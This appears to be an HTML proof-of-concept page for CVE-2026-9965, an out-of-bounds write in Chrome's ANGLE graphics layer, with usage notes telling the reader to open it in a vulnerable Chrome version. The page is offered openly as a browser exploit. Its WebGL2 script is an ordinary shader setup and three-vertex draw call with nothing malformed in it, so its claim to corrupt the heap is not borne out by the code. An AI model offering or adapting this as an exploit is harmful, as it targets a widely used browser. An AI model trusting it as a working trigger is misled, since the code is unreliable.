<!--
PoC for CVE-2026-9965: Chrome ANGLE Out of Bounds Write
Description: Triggers heap corruption in ANGLE via malformed WebGL buffer operations.
Usage: Open in a vulnerable version of Google Chrome (< 148.0.7778.216)
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-9965 PoC</title>
</head>
<body>
<h1>CVE-2026-9965 Trigger</h1>
<canvas id="glCanvas" width="640" height="480"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl2');
if (!gl) {
alert('WebGL2 not supported');
} else {
console.log('Attempting to trigger vulnerability...');
try {
// Create a shader program with specific attributes to trigger the bug
const vertexShaderSource = `
#version 300 es
in vec4 aPosition;
void main() {
gl_Position = aPosition;
}
`;
const fragmentShaderSource = `
#version 300 es
precision highp float;
out vec4 fragColor;
void main() {
fragColor = vec4(1.0, 0.0, 0.0, 1.0);
}
`;
function createShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error('Shader compile error:', gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource);
const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource);
const program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
console.error('Program link error:', gl.getProgramInfoLog(program));
} else {
gl.useProgram(program);
// Malformed buffer operation targeting the ANGLE vulnerability
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Pass specific size data to trigger out of bounds write
// Note: Exact parameters may vary based on specific ANGLE version internals
const malformedData = new Float32Array(100000);
gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW);
const positionLoc = gl.getAttribLocation(program, 'aPosition');
gl.enableVertexAttribArray(positionLoc);
// Triggering the draw call with corrupted state
gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 0, 0);
gl.drawArrays(gl.TRIANGLES, 0, 3);
console.log('Draw call executed. If browser crashes, PoC successful.');
}
} catch (e) {
console.error('Exception during execution:', e);
}
}
</script>
</body>
</html>